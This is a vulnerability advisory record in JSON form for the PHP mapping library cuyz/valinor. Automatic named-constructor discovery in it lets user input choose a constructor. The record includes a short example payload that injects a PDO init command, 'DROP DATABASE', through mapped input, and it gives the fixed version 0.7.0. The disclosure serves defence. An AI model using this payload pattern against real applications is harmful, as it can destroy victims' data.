{"id":"GHSA-xhr8-mpwq-2rr2","aliases":[],"title":"Automatic named constructor discovery in Valinor","titleSource":"OSV","descriptionSource":"OSV","declaredSeverity":"HIGH","description":"## Design issue - automatic constructor discovery\n\nThe issue arises when upgrading from `cuyz/valinor:0.3.0` to a newer system on an existing application, which broke due to the wrong constructor being picked.\n\nStill, a bigger security concern is problematic, and it is akin to https://github.com/rails/rails/issues/5228.\n\n## Example exploit\n\nTake following DTO example:\n\n```php\nfinal class UserDTO\n{\n    public function __construct(\n        public int $id,\n        public string $name\n    ) {}\n    public static function fromDb(\n        PDO $connection,\n        int $id\n    ): self { /* ... code to fetch the DTO here ... */ }\n}\n```\n\nThere is nothing inherently unsafe about the above `UserDTO`, but when mixed with `cuyz/valinor:^0.5.0` ( specifically https://github.com/CuyZ/Valinor/commit/718d3c1bc2ea7d28b4b1f6c062addcd1dde8660b ), it is an explosive mix:\n\n```php\n// this could be coming from user input:\n$maliciousPayload = [\n    'connection' => [\n      'dsn' => 'mysql:host=some-host;database=some-database',\n      'username' => 'root',\n      'password' => 'root',\n      'options' => [\n        // PDO::MYSQL_ATTR_INIT_COMMAND === 1002\n        1002 => 'DROP DATABASE all-the-moneys'\n      ]\n    ],\n    'id' => 123,\n];\n\n$treeMapper->map(\n  UserDTO::class,\n  $maliciousPayload\n); // your DB is gone :D\n```\n\nThe above payload is represented in PHP form, but may as well be input JSON, HTML or x-form-urlencoded.\n\n## Mitigation\n\nVersion 0.7.0 contains a patch for this issue.\n\nAutomatic named constructor resolution should be disabled - only explicitly mapped named constructors should be used/discovered.","severity":"high","score":null,"published":"2022-04-01T13:39:45.000Z","modified":"2024-12-05T05:34:24.161Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"Packagist","name":"cuyz/valinor","sources":[{"name":"OSV · GHSA-xhr8-mpwq-2rr2","url":"https://osv.dev/vulnerability/GHSA-xhr8-mpwq-2rr2"}],"ranges":[{"events":[{"introduced":"0.5.0"},{"fixed":"0.7.0"}],"type":"ECOSYSTEM"}],"versions":["0.5.0","0.6.0"],"fixed":["0.7.0"]}],"sourceAffected":[],"references":["https://github.com/CuyZ/Valinor/security/advisories/GHSA-xhr8-mpwq-2rr2","https://github.com/CuyZ/Valinor/commit/718d3c1bc2ea7d28b4b1f6c062addcd1dde8660b","https://github.com/CuyZ/Valinor","https://github.com/CuyZ/Valinor/releases/tag/0.7.0"],"sources":[{"name":"OSV","id":"GHSA-xhr8-mpwq-2rr2","modified":"2024-12-05T05:34:24.161317Z","url":"https://osv.dev/vulnerability/GHSA-xhr8-mpwq-2rr2"}],"assessments":[],"products":[],"remediation":[],"kev":{"status":"unavailable","checkedAt":"2026-10-28T22:15:33.378Z"},"coverage":[{"source":"NVD","status":"not-checked"},{"source":"GHSA","status":"not-checked"},{"source":"EUVD","status":"not-checked"},{"source":"EPSS","status":"not-checked"}],"evidence":[]}